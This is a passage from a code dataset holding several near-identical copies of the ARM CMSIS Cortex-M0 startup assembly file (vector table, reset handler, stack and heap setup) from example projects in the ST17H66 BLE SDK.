USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/timer/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/spiflash/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/watchdog/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/OTA/slboot/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000c00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP 